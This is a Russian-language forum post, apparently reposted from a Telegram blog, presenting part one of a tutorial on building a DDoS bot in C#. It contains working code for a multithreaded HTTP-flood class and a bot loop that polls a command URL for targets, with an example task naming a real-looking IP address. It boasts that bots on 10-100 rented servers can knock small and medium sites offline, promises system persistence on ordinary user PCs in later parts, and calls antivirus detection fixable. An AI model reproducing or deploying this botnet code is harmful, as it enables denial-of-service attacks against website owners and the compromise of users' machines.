Скрытый контент. А прежде чем приступить к прочтению - загляни в мой бложик, там я публикую свои авторские статьи по программированию, вирусологии и прочим интересным вещам https://t.me/ims0rryblog Оригинал статьи - http://telegra.ph/Pishem-DDOS-bota-na-C-CHast-1-02-04 Нажмите, чтобы раскрыть... Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Ddos.cs В этой части реализовывать будем HTTP-flood на самом базовом уровне. Создаем класс Ddos и сразу прописываем нужные нам переменные и конструктор: Код: private string HostName; // 127.0.0.1 private string Url; // http://127.0.0.1/index.php?god=ims0rry private int Port; // 80 private bool Toggle = false; // Для отсчета времени ддоса public Ddos(string Host, string Url, int Port) { this.HostName = Host; this.Url = Url; this.Port = Port; } Для отсчета времени создаем простенький метод таймера: Код: private void Timer(int minutes) { for(int i = 0; i < minutes * 60; i++) { Thread.Sleep(1000); } Toggle = false; } Далее необходимо разобраться с самой отправкой запроса к серверу. Будем использовать сокеты (System.Net.Sockets): Код: private void SendData() { IPAddress Host = IPAddress.Parse(HostName); IPEndPoint Hostep = new IPEndPoint(Host, Port); while (Toggle) { try { Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sock.Connect(Hostep); sock.Send(Encoding.UTF8.GetBytes(Url)); sock.Send(Encoding.UTF8.GetBytes("\r\n")); sock.Close(); } catch(Exception e) { new Thread(SendData).Start(); } } } Теперь под этот метод нужно сделать обертку, которая будет запускать потоки и таймер: Код: public void HttpFlood(int duration, int threads) { Toggle = true; while (threads > 0) { new Thread(SendData).Start(); threads--; } new Thread(() => Timer(duration)).Start(); } Program.cs Перед методом Main прописываем переменные: Код: private static string Url = ""; //Response:host;url;port;duration;threads //Example: 54.207.60.36;http://54.207.60.36;80;10;1000 Переменная Url должна содержать ссылку на страницу, где будут выкладываться таски для ботов, то может быть обычный текстовый файл, какая-то hand-made панелька - без разницы. Пример выдачи таска описан в комментарии. Также, самим уже можно прикрутить поддержку мультизадач и отстук в логгер/гейт об успешном принятии таска. Нам понадобиться метод, отправляющий Http-Get запрос: Код: private static String Get(string Link) { WebRequest request = WebRequest.Create(Link); request.Credentials = CredentialCache.DefaultCredentials; ((HttpWebRequest)request).UserAgent = "1M50RRY"; WebResponse response = request.GetResponse(); Stream dataStream = response.GetResponseStream(); StreamReader reader = new StreamReader(dataStream); return reader.ReadToEnd(); } В самом Main пропишем цикл на получение таска и его исполнение: Код: static void Main(string[] args) { while (true) { String[] response = Get(Url).Split(';'); try { Ddos Task = new Ddos(response[0], response[1], Int32.Parse(response[2])); Task.HttpFlood(Int32.Parse(response[3]), Int32.Parse(response[4])); } catch (Exception e) { Thread.Sleep(3000); } } } Результаты На 1000 потоков дедик стоимостью $8 выдал следующий результат: http://telegra.ph/file/85653ad7f621525de4e38.png На данном этапе, разместив бота на 10-100 дедиках, уже можно класть небольшие-средние сайтецы, имея доступ к их родному айпишнику. В следующих частях прикрутим закрепление в системе, для совместимости с обычными User-PC, другие методы ддоса и JSBYPASS. p.s. 1000 user-pc = 6 000 000 requests/second Ссылки Детект (исправимо) - http://viruscheckmate.com/id/1PGGXKQr3jzN Мой код (неисправимо) - https://github.com/ims0rry/Dummy-ddos-bot